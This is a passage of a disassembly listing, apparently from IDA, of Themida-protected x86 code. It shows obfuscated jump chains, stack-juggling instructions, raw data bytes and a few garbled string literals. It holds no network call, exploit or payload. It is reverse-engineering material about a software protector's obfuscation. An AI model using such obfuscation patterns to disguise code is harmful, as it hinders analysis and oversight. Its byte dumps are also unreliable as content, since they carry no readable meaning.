241C8758h dd 0FFEA01E9h db 0FFh ; --------------------------------------------------------------------------- loc_555161: ; CODE XREF: Themida_:00562E57j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 push edi jmp loc_558E44 ; --------------------------------------------------------------------------- db 83h dd 756804C4h, 89000018h, 268242Ch, 5D000000h, 0E95DE801h dd 0FFFFA492h, 0E908EAC1h, 2CD6h, 7B6705BEh, 0C8C6816Fh dd 0C156EC6Ah, 0EE8107E6h, 33E8E67Ch, 835EF301h, 0E95302EBh dd 984h, 64CC381h, 0CB017314h, 64CEB81h, 0C3817314h, 1E845E97h dd 0F18EB81h, 34FF05EBh, 89535924h, 0DEBE56E3h, 81118A0Bh dd 170A2BE6h, 0E9D6F769h, 0A519h ; --------------------------------------------------------------------------- loc_5551FC: ; CODE XREF: Themida_:0054F8C6j and ebp, 6B2C59B3h inc ebp shl ebp, 5 sub ebp, 4582125Ch add ecx, ebp pop ebp sub ecx, 4 jmp loc_555878 ; --------------------------------------------------------------------------- db 0F7h dd 0E6BEE9DEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55521E: ; CODE XREF: Themida_:00560888j add edx, ebx pop ebx jmp loc_55DD53 ; --------------------------------------------------------------------------- loc_555226: ; CODE XREF: Themida_:0055D42Ej xor edi, 26A673FDh push ecx mov ecx, 9ED09624h sub edi, ecx jmp loc_561793 ; --------------------------------------------------------------------------- loc_555239: ; CODE XREF: Themida_:005620C6j shr eax, 4 xor eax, 2A40693h add esi, eax jmp loc_552C08 ; --------------------------------------------------------------------------- dd 42B25266h, 5A66D588h, 8B66EF88h, 0C483240Ch, 40A0402h dd 0C3CBE922h, 0E7880000h, 0FFC6F6E9h db 0FFh ; --------------------------------------------------------------------------- loc_555269: ; CODE XREF: Themida_:0056274Bj pop edi add esp, 4 shr ecx, 7 push edx jmp loc_560E55 ; --------------------------------------------------------------------------- db 81h, 0F5h, 0DCh dd 31FB7FD0h, 242C8BEBh, 4C481h, 0DD890000h, 0FFF155E9h db 0FFh ; --------------------------------------------------------------------------- loc_555291: ; CODE XREF: Themida_:005545BDj push eax mov eax, 37AA02C1h or eax, 441E0C2Ch and eax, 58AE7E43h and eax, 0DC251EEh dec eax xor eax, 82003Dh add ecx, eax mov eax, [esp] add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] add bx, 73D2h sub bx, 2A43h add bx, ax push dx jmp loc_551D75 ; --------------------------------------------------------------------------- loc_5552D4: ; CODE XREF: Themida_:005630B3j mov ebp, 45653EDCh or esi, ebp pop ebp push ecx mov ecx, 0F3C3D35Fh sub esi, ecx pop ecx jmp loc_55DEE4 ; --------------------------------------------------------------------------- dw 875Bh dd 895C2434h, 74FF2404h, 34FF0424h, 24048B24h, 8304C483h dd 48F04C4h, 24248B24h, 24048B66h, 782168h, 243C8900h dd 32B668h, 48F5400h db 24h, 55h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_5640C1 ; --------------------------------------------------------------------------- dw 0E883h dd 24048704h, 240C895Ch, 0FFB42FE9h db 0FFh ; --------------------------------------------------------------------------- loc_555341: ; CODE XREF: Themida_:00558AB4j push ebp mov ebp, 39345B08h jmp loc_55E3E7 ; --------------------------------------------------------------------------- dd 0EC80C4FEh, 0FF0CE925h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555356: ; CODE XREF: Themida_:0055BEF9j xor bh, 6Fh jmp loc_5635B8 ; --------------------------------------------------------------------------- dw 8B66h dd 54522404h, 0CFAAE95Ah, 0FF56FFFFh, 0E9042474h, 8A19h dd 88C6B353h, 98E95BDDh, 6600004Ch, 0E9240C8Bh, 0FFFFF8C3h dd 48BC201h, 4C48324h, 0FFC248E9h db 0FFh ; --------------------------------------------------------------------------- loc_555395: ; CODE XREF: Themida_:00559136j add edx, 481439B2h jmp loc_54F908 ; --------------------------------------------------------------------------- loc_5553A0: ; CODE XREF: Themida_:00564280j sub bl, al add bl, 96h sub bl, 9Fh push eax jmp loc_550277 ; --------------------------------------------------------------------------- dw 0BD55h dd 504722C2h, 8104E5C1h, 7030CAC5h, 4AED811Bh, 45405C6Ah dd 2414F755h, 0BD55505Dh, 20353F5Eh, 0FFE6ADE9h, 0E9C009FFh dd 0F1F9h, 68241C89h, 5198h, 83242489h, 0E9042404h, 3E31h dd 685DE801h, 6ABh, 0BD242C89h, 202BCCADh, 727E9h, 24048900h dd 0B4B23CB4h, 3DE95366h, 0B2FFFFC4h, 57B368B1h, 72E90000h dd 8300000Dh, 46E904C4h, 0D1FFFF9Fh, 0E1E781EFh, 81571A45h dd 0D43D09E7h, 0FDEF8115h, 1050FFFh, 0E9505FF8h, 9516h dd 241C8B5Ah, 0FFE18FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55544D: ; CODE XREF: Themida_:00563F49j add esp, 4 add ebp, 1 push ebx mov ebx, 3748674Ah jmp loc_55BC8C ; --------------------------------------------------------------------------- loc_555464: ; CODE XREF: Themida_:005583FBj push ebp mov ebp, 4E4E2C29h dec ebp shl ebp, 2 xor ebp, 7ABAD42Ah sub ebx, 37627D7Bh sub ebx, 0D9A0A96h sub ebx, ebp jmp loc_560321 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0E9F02900h, 3F6Ch, 4C481h, 0C4830000h, 7E6EE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5554A2: ; CODE XREF: Themida_:00553D9Ej push eax push dword ptr [esp+4] pop eax jmp loc_564408 ; --------------------------------------------------------------------------- loc_5554AD: ; CODE XREF: Themida_:00557A5Dj pop dword ptr [esp] pop esp push 2ABEh mov [esp], esi push esp jmp loc_55DDC8 ; --------------------------------------------------------------------------- db 81h dd 0CF142CE1h, 1EF18131h, 172095Fh, 240C8BCAh, 0DC0BE9h db 0 ; --------------------------------------------------------------------------- loc_5554D5: ; CODE XREF: Themida_:00557713j mov ch, 0C0h jmp loc_555955 ; --------------------------------------------------------------------------- dd 0FF9E8CE9h, 241C89FFh, 5066D4B3h, 0E3209AB4h, 24048B66h dd 0F602C483h, 0F7B551DBh, 52E9C5FEh, 0BE0000E1h, 92D46257h dd 17BFEF81h, 0F70127A4h, 2FFFE9h db 0 ; --------------------------------------------------------------------------- loc_555511: ; CODE XREF: Themida_:00559600j sub edx, 2CF70429h neg edx not edx xor edx, 52C8574Dh add edi, edx pop edx add edi, 4 jmp loc_55666B ; --------------------------------------------------------------------------- dd 815AD609h, 395BC3C6h, 76BB537Dh, 31C02ABAh, 0F0015BDEh dd 0C74FE9h, 4BA5200h, 1000000h, 5A042454h, 8124348Bh dd 4C4h, 82685300h, 5B2D4071h, 56D2F381h, 0EBC1253Ch, 99B95106h dd 290021F0h, 368CE9CBh, 0C3280000h, 0FFAE63E9h db 0FFh ; --------------------------------------------------------------------------- loc_55557D: ; CODE XREF: Themida_:0055B1F4j add ecx, 4 xchg ecx, [esp] pop esp add ecx, 0E412D87Ah push ecx sub dword ptr [esp], 165F4768h pop ebx jmp loc_551574 ; --------------------------------------------------------------------------- loc_555598: ; CODE XREF: Themida_:00550A0Aj pop edx mov edi, esi pop esi push ebx mov ebx, edi jmp loc_5594EF ; --------------------------------------------------------------------------- loc_5555A4: ; CODE XREF: Themida_:005605AFj pop ebp jmp loc_559286 ; --------------------------------------------------------------------------- dw 489h dd 0C9E5E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5555B2: ; CODE XREF: Themida_:0055682Bj mov [esp], edx push 47453F2h jmp loc_551435 ; --------------------------------------------------------------------------- db 81h dd 976E0BC7h, 240C8B2Dh, 4C481h, 0E9500000h, 0FFFFF995h dd 0E9240C29h, 0D441h, 48BC288h, 0E0895024h, 3D55E9h, 4C48300h dd 0C4138F2Dh, 39A70509h, 0BA525CFBh, 7298165Ch, 8105EAC1h dd 112B21CAh, 0F7DAF73Dh, 0F7F287D2h, 81F287D6h, 0F4EFF9EAh dd 0E9D02987h, 75Ah, 5CE9565Eh, 68000038h, 2A4Eh, 8B241C89h dd 54532404h, 0AD89E95Bh, 0E589FFFFh, 4C581h, 0C5830000h dd 242C8704h, 56E9E9h db 0 ; --------------------------------------------------------------------------- loc_555649: ; CODE XREF: Themida_:00557D34j mov esp, [esp] add bx, 5B58h sub esp, 2 mov [esp], cx jmp loc_553C47 ; --------------------------------------------------------------------------- loc_555660: ; CODE XREF: Themida_:005517C8j sub ebp, 4D5D0580h shl ebp, 6 jmp loc_560FBF ; --------------------------------------------------------------------------- loc_55566E: ; CODE XREF: Themida_:00550BE8j sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx push edx mov dh, cl mov bl, dh pop edx mov ah, bl mov ebx, [esp] jmp loc_55D895 ; --------------------------------------------------------------------------- loc_555688: ; CODE XREF: Themida_:00561C0Dj push esi mov esi, 351A731Bh and eax, esi mov esi, [esp] push edx jmp loc_561D16 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0BC019AB9h, 87BF5709h, 17B3052h, 0C8295FF8h, 0AAFBE9h dd 0EC815500h, 4, 83242489h, 5D042404h, 4C581h, 0C5830000h dd 242C8704h, 9AE9555Ch, 52000037h, 1E9E289h, 0FF0000C7h dd 669D1C77h, 2414D259h, 0DFC3E99Ch, 3C890000h, 73EFE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5556F2: ; CODE XREF: Themida_:00563050j pop ebx add ebp, 4 xchg ebp, [esp] mov esp, [esp] push edi mov edi, esp add edi, 4 push ebx mov ebx, 43B94881h jmp loc_55A3F4 ; --------------------------------------------------------------------------- dd 8324048Bh, 0BCE904C4h, 66FFFFC3h, 68240C8Bh, 4908h dd 68240C89h, 2821h, 50242489h, 4B8h, 0E131E900h, 3540FFFFh dd 55F63694h, 0D1E30D2Dh, 0E9C18909h, 6D1Dh ; --------------------------------------------------------------------------- loc_55574C: ; CODE XREF: Themida_:005610B1j mov ecx, 3F696F0Fh add esi, 79AB7C0Fh add esi, ecx sub esi, 79AB7C0Fh pop ecx push dword ptr [esp] mov ebp, [esp] jmp loc_561D5E ; --------------------------------------------------------------------------- loc_55576B: ; CODE XREF: Themida_:0055A33Cj sub ebx, 78913DD0h jmp loc_552E14 ; --------------------------------------------------------------------------- loc_555776: ; CODE XREF: Themida_:005572EBj mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 push 7A27h mov [esp], eax sub esp, 4 mov [esp], esi mov esi, 6B33106Ah jmp loc_55A69C ; --------------------------------------------------------------------------- db 83h dd 48702C0h, 6450E924h, 595B0000h, 0E9E18951h, 1BCh, 3345BA59h dd 5BE92853h, 8100001Ch, 42404h, 0CBE90000h, 81000007h dd 0F018FEC6h, 81EE0135h, 0F018FEEEh, 0C0C68135h, 5D009E6Bh dd 753B68h, 24348900h, 42474FFh, 8B2434FFh, 0C4812434h dd 4, 81E18951h, 4C1h, 4C18300h, 0FFDD9FE9h, 2434FFFFh dd 83240C8Bh, 0E95204C4h, 0FFFF9F55h, 2C59C828h, 4F80025h dd 0E91E0425h, 0EE30h, 0E924048Fh, 0FFFFAE42h, 75BFED81h dd 0C5296E8Ah, 75BFC581h, 81586E8Ah, 4ECh, 0F1B9E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555846: ; CODE XREF: Themida_:005524B8j pop ebx sub esp, 4 mov [esp], edx mov edx, 0FFFFFFFFh jmp loc_554226 ; --------------------------------------------------------------------------- dw 51ACh dd 0C181E189h, 4, 4E981h, 0C330000h, 240C3124h, 0E9240C33h dd 0FFFFB3B1h ; --------------------------------------------------------------------------- loc_555878: ; CODE XREF: Themida_:00555212j xchg ecx, [esp] jmp loc_55274A ; --------------------------------------------------------------------------- loc_555880: ; CODE XREF: Themida_:005536FAj mov edi, [esp] add esp, 4 mov edx, esi jmp loc_5562CF ; --------------------------------------------------------------------------- dd 0C781E789h, 4, 4C781h, 3C870000h, 0D6295C24h, 0E924148Bh dd 0FFFFC6B9h, 6752BD55h, 0EDC15203h, 34E58107h, 812FE864h dd 0D673D3EDh, 23E58161h, 0E97D4367h, 0FFFFF9ADh, 64B551ACh dd 30A4B353h, 0E8005BDDh, 4852C59h, 0E9D828B0h, 0EDA3h dd 0E905E9C1h, 0FFFFC3EAh, 3C3C68h, 242C8900h, 0C55CE9h dd 24646800h, 0C890000h, 0B924h, 0FBE90000h, 50000ABh dd 4, 8904EC83h, 7DE92414h, 81FFFFDDh, 2C6h, 74FF5600h dd 8F5E0424h, 248B2404h, 148B6624h, 4EC8324h, 68243C89h dd 0FC1h, 8D30E954h, 0B7530000h, 0F5E780E1h, 9441E9h, 24148900h dd 0FF9A18E9h db 0FFh ; --------------------------------------------------------------------------- loc_555955: ; CODE XREF: Themida_:005554D7j sub bl, ch pop cx jmp loc_56174B ; --------------------------------------------------------------------------- dw 0EA81h dd 22A002B7h, 0E95AD129h, 0FFFFCB96h, 4C181h, 0E9810000h dd 4, 5C240C87h, 68241C89h, 4EEh, 68240489h, 20EF6D90h dd 0E9469658h, 7893h, 0AA11C2BFh, 0DFF7476Ah, 8147D7F7h dd 0F61C36C7h, 5FFE89B6h, 0C5C68146h, 0C1753772h, 0CE8103EEh dd 329962E9h, 8102EEC1h, 77625AEEh, 5EF00133h, 65D1E9h db 0 ; --------------------------------------------------------------------------- loc_5559C9: ; CODE XREF: Themida_:005526FAj add esi, 4 add esi, 4 jmp loc_56061A ; --------------------------------------------------------------------------- dw 433h dd 24043124h, 0E9240433h, 0FFFFE537h, 480DE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5559EE: ; CODE XREF: Themida_:005594BFj sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_55F9F2 ; --------------------------------------------------------------------------- loc_5559FB: ; CODE XREF: Themida_:0055FBFBj mov ebp, 56B13943h add ebp, 0A94EC6C1h add esi, ebp pop ebp xchg esi, [esp] pop esp sub esi, 67105A2Dh push 2BEh jmp loc_55229F ; --------------------------------------------------------------------------- db 81h, 0C3h, 28h dd 137685Bh, 28EB81C3h, 8137685Bh, 390B71C3h, 0BD555250h dd 4C241ABFh, 4EC81h, 2C890000h, 0E95D5A24h, 8750h, 4EC8359h dd 4DAAE9h db 0 ; --------------------------------------------------------------------------- loc_555A51: ; CODE XREF: Themida_:0055CA3Aj sub esp, 4 mov [esp], edx jmp loc_550022 ; --------------------------------------------------------------------------- db 55h dd 8A2D86BDh, 0DFE98142h, 13AC15Bh, 0DFC181E9h, 0E93AC15Bh dd 602Bh, 8B2434FFh, 89562404h, 4C681E6h, 0E9000000h, 0FFFFD482h ; --------------------------------------------------------------------------- loc_555A8C: ; CODE XREF: Themida_:00555DFEj push 75A6h mov [esp], ecx jmp loc_54F36D ; --------------------------------------------------------------------------- db 0B7h, 85h, 4 dd 2CF8000Fh, 1C8B660Fh, 2C48124h, 83000000h, 896602ECh dd 65E9241Ch db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_555AB7: ; CODE XREF: Themida_:00559740j mov edi, 17F1211Ch add ecx, edi pop edi and ecx, 6B7E7D97h jmp loc_55C35B ; --------------------------------------------------------------------------- loc_555ACA: ; CODE XREF: Themida_:00562007j push ecx mov ecx, 0BEF441Dh push eax mov eax, 1CE46AFFh jmp loc_55B12F ; --------------------------------------------------------------------------- db 68h dd 9B8h, 0BF243C89h, 7B0B752Ah, 0B951h, 0F9290000h, 0F759CF87h dd 73B951DFh, 0C110DC4Bh, 0F18107E1h, 67E530B8h, 4F53E981h dd 0C18361C2h, 47C181FFh, 29770D1Dh, 0FD0159CFh, 0ADC5815Fh dd 107794Fh, 0ADB951DDh, 0E907794Fh, 1F69h, 1FD1B951h dd 0D9F72F55h, 8EE9D1F7h, 8B0000A9h, 0B8502424h, 41EF137Eh dd 0E958C601h, 0D3E8h, 42474FFh, 24048F5Bh, 489665Ch, 0B6525324h dd 7BEE803Fh, 0DF5AE9h db 0 ; --------------------------------------------------------------------------- loc_555B65: ; CODE XREF: Themida_:0055FE1Fj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_553F87 ; --------------------------------------------------------------------------- db 54h dd 4EC8158h, 89000000h, 13E9241Ch, 870000DAh, 835C242Ch dd 148904ECh, 81E28924h, 4C2h, 4D8BE900h, 34FF0000h, 2434FF24h dd 0FF2434FFh, 81582434h, 4C4h, 4C48100h, 68000000h, 7D8Ch dd 3D01E9h, 0C8B5F00h, 0E2895224h, 4C281h, 0C2810000h dd 4, 0FFB4A4E9h, 0E9DE01FFh, 0FFFFD2ADh, 0DEF7D6F7h, 0A5F0C681h dd 0F109041Fh, 0A6BE565Eh, 0E902724Dh, 4C53h ; --------------------------------------------------------------------------- loc_555BFC: ; CODE XREF: Themida_:00558A7Cj pop eax jmp loc_5516B0 ; --------------------------------------------------------------------------- dw 4BEh dd 89000000h, 3BF7E9F5h, 89530000h, 4C381E3h, 83000000h dd 1C8704C3h, 0C875C24h, 24248B24h, 4BB0F66h, 3EE99C24h dd 0FFFFFF97h, 669D1C77h, 24041858h, 972FE99Ch, 1C89FFFFh dd 859CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555C46: ; CODE XREF: Themida_:005534B6j mov [esp], esp push 0AF6h mov [esp], esi push edx mov edx, 4 mov esi, edx pop edx sub dword ptr [esp+4], 1FF532DAh add [esp+4], esi add dword ptr [esp+4], 1FF532DAh mov esi, [esp] jmp loc_561F25 ; --------------------------------------------------------------------------- dw 0C3FEh aFqsf db 'fQéf³',0 dw 5200h dd 0C281E289h, 4, 8704C283h, 295C2414h, 0FF505AD0h, 58042474h dd 5C24048Fh, 529C6866h, 24248966h, 24048166h, 8F660002h dd 83662404h, 0E9022404h, 0FFFF96B5h, 57D831ADh, 26FC68h dd 24348900h, 0C571E4BEh, 0E6DAE940h, 0C3810000h, 4, 0E904C383h dd 629h, 0FF968CE9h, 240C89FFh, 1A1C8FB9h, 8BE9813Ah, 813A1A1Ch dd 0E7761FC2h, 7BC28170h, 2951EC44h, 7BEA81CAh, 5551EC44h dd 0FFF19EE9h db 0FFh ; --------------------------------------------------------------------------- loc_555D09: ; CODE XREF: Themida_:0055A7B5j push eax mov al, 69h add al, 0BDh jmp loc_556E08 ; --------------------------------------------------------------------------- db 8Bh dd 0C483241Ch, 0B58FBF04h, 0EF29ABFCh, 0B2F7815Dh, 951FC65h dd 0E5C15FFDh, 0FFBB5302h, 1FFFFFFh, 0EDC15BDDh, 4EC8104h dd 89000000h, 1CBB241Ch, 0F71F4177h, 0A1EEE9D3h, 489FFFFh dd 2434FF24h, 81240C8Bh, 4C4h, 0BF87E900h, 5066FFFFh, 9603E99Ch dd 0E95AFFFFh, 6C9Ch, 0CBACE950h, 0E95AFFFFh, 2A2Eh, 83240C8Bh dd 0E95504C4h, 0FFFFD5F8h ; --------------------------------------------------------------------------- loc_555D88: ; CODE XREF: Themida_:00557AD3j pop ebx add esp, 4 xor edx, 0DFE38E34h jmp loc_561EFB ; --------------------------------------------------------------------------- dw 3C87h dd 0B1515C24h, 0B2E98012h, 0E9A2E980h, 0FFFFA28Bh, 225AC281h dd 0A6E9513Ah db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555DB7: ; CODE XREF: Themida_:0055305Fj movzx eax, ax sub esp, 4 mov [esp], edx push esp pop edx push 66D8h mov [esp], edi push esi mov esi, 35472E3Eh push edi jmp loc_55A1D3 ; --------------------------------------------------------------------------- dw 0F131h dd 59C8315Eh, 5115AF2Dh, 58C38940h, 3BDBEE81h, 0C6812F75h dd 4E8F2F02h, 0CFE9DE29h db 0B2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555DF7: ; CODE XREF: Themida_:00564079j xor edi, [esp] pop esp movsx ecx, al jmp loc_555A8C ; --------------------------------------------------------------------------- db 57h dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 0E9522434h, 3B5Ah dd 465FFE31h, 0DCBEE81h, 0F729004Ch, 81EF015Eh, 0A4B3CC7h dd 242C8B1Fh, 5204C483h, 2BAh, 5AD72900h, 31243C33h, 3C33243Ch dd 9DA0E924h, 2C870000h, 0BF5FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555E56: ; CODE XREF: Themida_:0055D222j xor edx, [esp] jmp loc_55B32A ; --------------------------------------------------------------------------- loc_555E5E: ; CODE XREF: Themida_:0055CFE5j xor eax, 0D8DBB7AFh mov edi, eax mov eax, [esp] push ebx jmp loc_552371 ; --------------------------------------------------------------------------- dw 0F749h dd 0C2C181D9h, 0E94B7517h, 0FFFFC5ABh, 58E98141h, 89F86FE5h dd 17BD59C8h, 81AE27A9h, 0DE0048C5h, 81C50111h, 0DE0048EDh dd 2434FF11h, 8324048Bh, 0C48304C4h, 1C6F0904h, 0FFDB55E9h dd 243C33FFh, 33243C31h, 248B243Ch, 94AFE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555EBE: ; CODE XREF: Themida_:0054F6DBj ; Themida_:0054F99Cj push 55DEh jmp loc_552B59 ; --------------------------------------------------------------------------- loc_555EC8: ; CODE XREF: Themida_:0055F6D2j push ebx mov ebx, 0B57385Eh push ebx jmp loc_563BD1 ; --------------------------------------------------------------------------- dd 8324148Bh, 0DD0104C4h, 7B7C581h, 835B2BB2h, 2C8704C5h dd 24248B24h, 4620E9h, 24248900h, 4B951h, 4C010000h, 5A590424h dd 4C281h, 0C2830000h, 24148704h, 0E924248Bh, 2B4Dh, 835FFE01h dd 348704C6h, 39E95C24h db 48h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555F23: ; CODE XREF: Themida_:00560E74j inc eax sub eax, 42D954E8h push ecx mov ecx, 0A5F8B7Bh add eax, ecx pop ecx xor ebp, eax pop eax sub edx, 6C8A657Bh add edx, ebp add edx, 6C8A657Bh pop ebp add edx, 4 xchg edx, [esp] pop esp push 81Fh jmp loc_551F15 ; --------------------------------------------------------------------------- loc_555F58: ; CODE XREF: Themida_:0055C906j pop esp mov esi, [esp] push edx mov edx, esp jmp loc_56099A ; --------------------------------------------------------------------------- dd 535FFB01h, 42474FFh, 24048F5Bh, 9CC8845Ch, 0FF93F4E9h db 0FFh ; --------------------------------------------------------------------------- loc_555F79: ; CODE XREF: Themida_:005562D8j sub esp, 4 mov [esp], edi jmp loc_558415 ; --------------------------------------------------------------------------- aBsVSu db 'é>Í¢¹éî`',0 align 2 dw 815Fh dd 4C7h, 4EC8300h, 0E9242C89h, 0C5F6h, 240C8B66h, 538BE9h dd 7E95900h, 0FF000016h, 815F2434h, 4C4h, 57C80100h, 0BEAEE9h db 0 ; --------------------------------------------------------------------------- loc_555FC5: ; CODE XREF: Themida_:0055C26Ej add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] push 55CBh mov [esp], esi mov esi, 75B02F96h dec esi not esi push ecx mov ecx, 5DD87BFEh dec ecx not ecx sub ecx, 12668CEh jmp loc_55DA22 ; --------------------------------------------------------------------------- dd 0C381E389h, 4, 0A88FE9h, 0F6E95D00h, 50000017h, 242D0AB8h dd 6FD4E945h, 0F7580000h, 685552D7h, 3CBC417Bh, 0C5814D5Dh dd 2AB2C72Dh, 89EB8953h, 2434FFDAh, 4C4835Bh, 0FFD85EE9h dd 243C89FFh, 0FFF84FE9h, 92EF81FFh, 293FF36Eh, 92C781CFh dd 593FF36Eh, 3C8BFE31h, 4C48324h, 555EF329h, 0DE539DBDh dd 9BCD8127h, 817F8A36h, 0A64FBDEDh, 8BEB2155h, 0C481242Ch dd 4, 5D68D3F7h, 8900002Bh, 0E1BF243Ch, 1022004h, 0D8215FFBh dd 5B2434FFh, 4C481h, 25E90000h db 6Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55609B: ; CODE XREF: Themida_:0055C9D6j push edi jmp loc_5596F9 ; --------------------------------------------------------------------------- db 81h, 0CEh, 1Ah dd 0D1469251h, 8FF681E6h, 29E88F66h, 45E95EF3h, 0C1000074h dd 0E95307E8h, 0C819h, 41DBE954h, 8B660000h, 6852241Ch dd 3A36h, 81242489h, 42404h, 535A0000h, 5999E9h, 282A6800h dd 1C890000h, 220DBB24h, 98E90A99h, 89FFFFBDh, 64BB241Ch dd 578B754h, 6C450EB6h, 0B62DD801h, 5B6C450Eh, 642DF029h dd 0E978B754h, 0FFFFED6Dh ; --------------------------------------------------------------------------- loc_556114: ; CODE XREF: Themida_:00556FE4j pop ebp xor eax, edi mov edi, [esp] add esp, 4 push eax mov eax, esp add eax, 4 push ecx mov ecx, esp jmp loc_54F8C0 ; --------------------------------------------------------------------------- aV1OHdg db 'V¾1)Ž',0Bh,'h¤g',0 dw 0E900h dd 0FFFFF5AAh, 652468h, 242C8900h, 81E18951h, 4C1h, 4E98300h dd 5C240C87h, 89241489h, 54D9E9C2h, 0F1310000h, 79FFE9h dd 241C8700h, 428E9h, 0B9515500h, 3FF41316h, 0FFB3E6E9h db 0FFh ; --------------------------------------------------------------------------- loc_55617D: ; CODE XREF: Themida_:0055C0B0j mov edi, ebp mov edx, edi pop edi pop ebp add edx, edi push dword ptr [edx] push 13DBh jmp loc_54FD4B ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 81BBB151h, 4ECh, 241C8900h, 16E965B7h, 29FFFFC2h, 0F47E9EFh dd 31810000h, 11A529CEh, 34FF5A5Fh, 0A36CE924h, 0C4810000h dd 2, 0FF9FE6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5561C9: ; CODE XREF: Themida_:0055270Fj push esi mov esi, 0D3D3357h jmp loc_54F786 ; --------------------------------------------------------------------------- loc_5561D4: ; CODE XREF: Themida_:0056094Aj sub esp, 4 jmp loc_561A8E ; --------------------------------------------------------------------------- db 50h dd 62E9BB53h, 0EB816498h, 0C7B599Dh, 0C383D3F7h, 0D5E381FFh dd 0C13A7530h, 0BA5206EBh, 2C370F1Dh, 0E330E94Ah, 0C1810000h dd 73962A2Ah, 0BB53F901h, 73962A2Ah, 815BD929h, 967E02C1h dd 0C335F42h, 240C3124h, 0FFE99EE9h db 0FFh ; --------------------------------------------------------------------------- loc_556229: ; CODE XREF: Themida_:00553817j push esi mov esi, 66F90D58h and esi, 75981713h jmp loc_55DC92 ; --------------------------------------------------------------------------- dw 248Bh dd 24048924h, 0FF9128E9h db 0FFh ; --------------------------------------------------------------------------- loc_556245: ; CODE XREF: Themida_:0055C3C1j mov [esp], edi jmp loc_5564A5 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 0FF545224h, 0E95A2434h, 0FFFFC10Dh ; --------------------------------------------------------------------------- loc_55625C: ; CODE XREF: Themida_:0055AC37j pop ecx jmp loc_54F4AB ; --------------------------------------------------------------------------- dw 2D5Ch dd 4521CCAh, 0CA05F801h, 8304521Ch, 3C8904ECh, 0F7DE924h dd 0CE810000h, 11D95FAAh, 5FFBEE81h, 0F0017DFFh, 4E8835Eh dd 0E9240487h, 0FFFFA20Bh, 0EBC0DBF6h, 0BDC38002h, 8081F380h dd 0C3FEB8F3h, 0E983CB80h, 0BACDh, 0E905E0C1h, 4AC1h ; --------------------------------------------------------------------------- loc_5562B4: ; CODE XREF: Themida_:0055B273j mov ebp, [esp] add esp, 4 add ecx, 4 sub esp, 4 mov [esp], ecx push dword ptr [esp+4] jmp loc_550797 ; --------------------------------------------------------------------------- loc_5562CF: ; CODE XREF: Themida_:0055588Bj push dword ptr [esp] mov esi, [esp] add esp, 4 jmp loc_555F79 ; --------------------------------------------------------------------------- db 68h, 0BEh, 62h dd 0B9E90000h db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5562E7: ; CODE XREF: Themida_:005534D3j push ebp push 614813C8h mov ebp, [esp] add esp, 4 jmp loc_559EA6 ; --------------------------------------------------------------------------- dd 685AD000h, 467Bh, 686AE9h, 241C8700h, 4C4835Ch, 5C24048Fh dd 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFF904Dh, 4EC81h dd 0C890000h, 23E0B924h, 0BF2D7380h, 1519B30h, 30BF05C8h dd 2D59519Bh, 37780357h, 28480505h, 11D0E969h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55634A: ; CODE XREF: Themida_:005577BDj push esi mov esi, esp push edx jmp loc_55423C ; --------------------------------------------------------------------------- db 83h dd 0EAE904C4h db 9Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55635B: ; CODE XREF: Themida_:005529C9j push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx push eax push 47D3h mov [esp], ecx push eax mov al, dl mov cl, al pop eax mov ah, cl push dword ptr [esp] pop ecx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push edx jmp loc_55EC5F ; --------------------------------------------------------------------------- loc_5563A2: ; CODE XREF: Themida_:0055E5D0j add esi, 59F17125h add esi, 7F536B54h add esi, edi push ebx mov ebx, 7F536B54h sub esi, ebx jmp loc_5611B7 ; --------------------------------------------------------------------------- db 88h, 0D9h, 5Bh dd 87F18058h, 0FFC1C8E9h, 0FFCA88FFh, 0F9E92434h, 89000074h dd 0B6E92434h, 51FFFFA0h, 40276FB9h, 8BCE8920h, 0C483240Ch dd 8BF72904h, 0C4812434h, 4, 979C781h, 0C78143C5h, 14CC21BEh dd 0EF81EF29h, 14CC21BEh, 5D39E9h, 8BF80000h, 0E955241Ch dd 0FFFFAF8Dh, 54240C89h, 81240C8Bh, 4C4h, 4C8E6800h, 34890000h dd 35556824h, 0E95E7959h, 86A5h, 58E5E981h, 0BD550612h dd 3F3538h, 73E9E929h, 29000021h, 243C8BFEh, 4C481h, 0D6010000h dd 132C681h, 0EE811BA6h, 49CA5383h, 6E6C15Ah, 0FFC18CE9h dd 4C181FFh, 